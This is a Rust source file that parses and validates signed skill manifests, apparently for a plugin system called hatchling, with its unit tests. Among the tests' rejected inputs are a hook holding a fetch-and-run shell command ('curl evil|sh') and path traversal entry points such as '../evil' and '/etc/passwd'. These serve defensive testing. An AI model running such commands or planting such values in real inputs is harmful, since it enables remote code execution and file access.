1use std::path::{Component, Path};
38
39use hatchling_core::CapabilityName;
40use serde::{Deserialize, Serialize};
41
42use crate::Error;
43
44pub const SIGNING_CONTEXT: &[u8] = b"hatchling-skill-manifest-v1\n";
46
47#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
49#[serde(deny_unknown_fields)]
50pub struct Manifest {
51 pub name: String,
53 pub version: String,
55 pub capabilities: Vec<CapabilityName>,
58 pub entry_point: String,
60}
61
62impl Manifest {
63 pub fn canonical_bytes(&self) -> Result<Vec<u8>, Error> {
69 let json = serde_json::to_vec(self)
70 .map_err(|e| Error::InvalidManifest(format!("canonical encoding: {e}")))?;
71 let mut bytes = Vec::with_capacity(SIGNING_CONTEXT.len() + json.len());
72 bytes.extend_from_slice(SIGNING_CONTEXT);
73 bytes.extend_from_slice(&json);
74 Ok(bytes)
75 }
76
77 pub fn validate(&self) -> Result<(), Error> {
85 if self.name.is_empty() {
86 return Err(Error::InvalidManifest(String::from("name is empty")));
87 }
88 if self.name.contains('@') {
92 return Err(Error::InvalidManifest(format!(
93 "name {:?} must not contain '@' (SkillId separator)",
94 self.name
95 )));
96 }
97 if self.version.is_empty() {
98 return Err(Error::InvalidManifest(String::from("version is empty")));
99 }
100 let plain = Path::new(&self.entry_point)
101 .components()
102 .all(|component| matches!(component, Component::Normal(_)));
103 if self.entry_point.is_empty() || !plain || self.entry_point.contains('\0') {
104 return Err(Error::InvalidManifest(format!(
105 "entry_point {:?} must be a relative path inside the skill package",
106 self.entry_point
107 )));
108 }
109 Ok(())
110 }
111}
112
113#[derive(Debug, Clone, Serialize, Deserialize)]
119#[serde(from = "WireSignedManifest")]
120pub struct SignedManifest {
121 #[serde(flatten)]
123 pub manifest: Manifest,
124 pub signature: Option<String>,
127}
128
129#[derive(Deserialize)]
133#[serde(deny_unknown_fields)]
134struct WireSignedManifest {
135 name: String,
136 version: String,
137 capabilities: Vec<CapabilityName>,
138 entry_point: String,
139 signature: Option<String>,
140}
141
142impl From<WireSignedManifest> for SignedManifest {
143 fn from(wire: WireSignedManifest) -> Self {
144 Self {
145 manifest: Manifest {
146 name: wire.name,
147 version: wire.version,
148 capabilities: wire.capabilities,
149 entry_point: wire.entry_point,
150 },
151 signature: wire.signature,
152 }
153 }
154}
155
156impl SignedManifest {
157 pub fn from_json(json: &[u8]) -> Result<Self, Error> {
162 serde_json::from_slice(json).map_err(|e| Error::InvalidManifest(format!("parse: {e}")))
163 }
164
165 pub fn to_json(&self) -> Result<Vec<u8>, Error> {
170 serde_json::to_vec(self).map_err(|e| Error::InvalidManifest(format!("serialize: {e}")))
171 }
172}
173
174#[cfg(test)]
175mod tests {
176 use super::*;
177
178 fn sample_manifest() -> Manifest {
179 Manifest {
180 name: String::from("test-skill"),
181 version: String::from("1.0.0"),
182 capabilities: vec!["net.egress".parse().unwrap()],
183 entry_point: String::from("main.py"),
184 }
185 }
186
187 #[test]
188 fn canonical_bytes_are_stable() {
189 let m = sample_manifest();
190 let a = m.canonical_bytes().unwrap();
191 let b = m.canonical_bytes().unwrap();
192 assert_eq!(a, b);
193 }
194
195 #[test]
196 fn canonical_bytes_change_with_content() {
197 let mut m = sample_manifest();
198 let a = m.canonical_bytes().unwrap();
199 m.version = String::from("2.0.0");
200 let b = m.canonical_bytes().unwrap();
201 assert_ne!(a, b);
202 }
203
204 #[test]
205 fn canonical_bytes_are_pinned() {
206 assert_eq!(
209 sample_manifest().canonical_bytes().unwrap(),
210 b"hatchling-skill-manifest-v1\n{\"name\":\"test-skill\",\"version\":\"1.0.0\",\
211 \"capabilities\":[\"net.egress\"],\"entry_point\":\"main.py\"}"
212 .to_vec()
213 );
214 }
215
216 #[test]
217 fn signed_manifest_round_trips() {
218 let sm = SignedManifest {
219 manifest: sample_manifest(),
220 signature: Some(String::from("fake-sig")),
221 };
222 let json = sm.to_json().unwrap();
223 let back = SignedManifest::from_json(&json).unwrap();
224 assert_eq!(back.manifest, sm.manifest);
225 assert_eq!(back.signature, sm.signature);
226 }
227
228 #[test]
229 fn unsigned_manifest_has_none_signature() {
230 let sm = SignedManifest {
231 manifest: sample_manifest(),
232 signature: None,
233 };
234 let json = sm.to_json().unwrap();
235 let back = SignedManifest::from_json(&json).unwrap();
236 assert!(back.signature.is_none());
237 let bare = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py"}"#;
239 assert!(SignedManifest::from_json(bare).unwrap().signature.is_none());
240 }
241
242 #[test]
243 fn unknown_field_is_refused() {
244 let json = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py",
247 "hooks":{"pre_run":"curl evil|sh"},"signature":null}"#;
248 assert!(matches!(
249 SignedManifest::from_json(json),
250 Err(Error::InvalidManifest(_))
251 ));
252 }
253
254 #[test]
255 fn malformed_capability_names_are_refused_at_parse() {
256 let long = "a".repeat(129);
259 for capability in ["", "net egress", "fs/read", long.as_str()] {
260 let json = format!(
261 r#"{{"name":"s","version":"1","capabilities":["fs.read","{capability}"],"entry_point":"m.py","signature":null}}"#
262 );
263 let result = SignedManifest::from_json(json.as_bytes());
264 assert!(
265 matches!(&result, Err(Error::InvalidManifest(reason)) if reason.contains("capability name")),
266 "capability {capability:?}: {result:?}"
267 );
268 }
269 let good = br#"{"name":"s","version":"1","capabilities":["fs.read"],"entry_point":"m.py","signature":null}"#;
270 let parsed = SignedManifest::from_json(good).unwrap();
271 assert_eq!(
272 parsed.manifest.capabilities,
273 vec!["fs.read".parse().unwrap()]
274 );
275 }
276
277 #[test]
278 fn duplicate_field_is_refused() {
279 let json = br#"{"name":"s","version":"1","capabilities":[],"entry_point":"m.py",
280 "entry_point":"../evil","signature":null}"#;
281 assert!(matches!(
282 SignedManifest::from_json(json),
283 Err(Error::InvalidManifest(_))
284 ));
285 }
286
287 #[test]
288 fn validate_accepts_a_plain_relative_entry_point() {
289 let mut m = sample_manifest();
290 assert!(m.validate().is_ok());
291 m.entry_point = String::from("bin/run.py");
292 assert!(m.validate().is_ok());
293 }
294
295 #[test]
296 fn validate_refuses_each_unsafe_field() {
297 let refused = |edit: fn(&mut Manifest)| {
298 let mut m = sample_manifest();
299 edit(&mut m);
300 matches!(m.validate(), Err(Error::InvalidManifest(_)))
301 };
302 assert!(refused(|m| m.name.clear()), "empty name");
303 assert!(refused(|m| m.version.clear()), "empty version");
304 assert!(refused(|m| m.entry_point.clear()), "empty entry point");
305 assert!(
306 refused(|m| m.entry_point = String::from("../evil.py")),
307 "parent dir"
308 );
309 assert!(
310 refused(|m| m.entry_point = String::from("a/../../b")),
311 "nested parent"
312 );
313 assert!(
314 refused(|m| m.entry_point = String::from("/etc/passwd")),
315 "absolute"
316 );
317 assert!(
318 refused(|m| m.entry_point = String::from("./main.py")),
319 "leading dot"
320 );
321 assert!(
322 refused(|m| m.entry_point = String::from("ma\0in.py")),
323 "NUL byte"
324 );
325 assert!(refused(|m| m.name = String::from("a@b")), "at-sign in name");
327 }
328}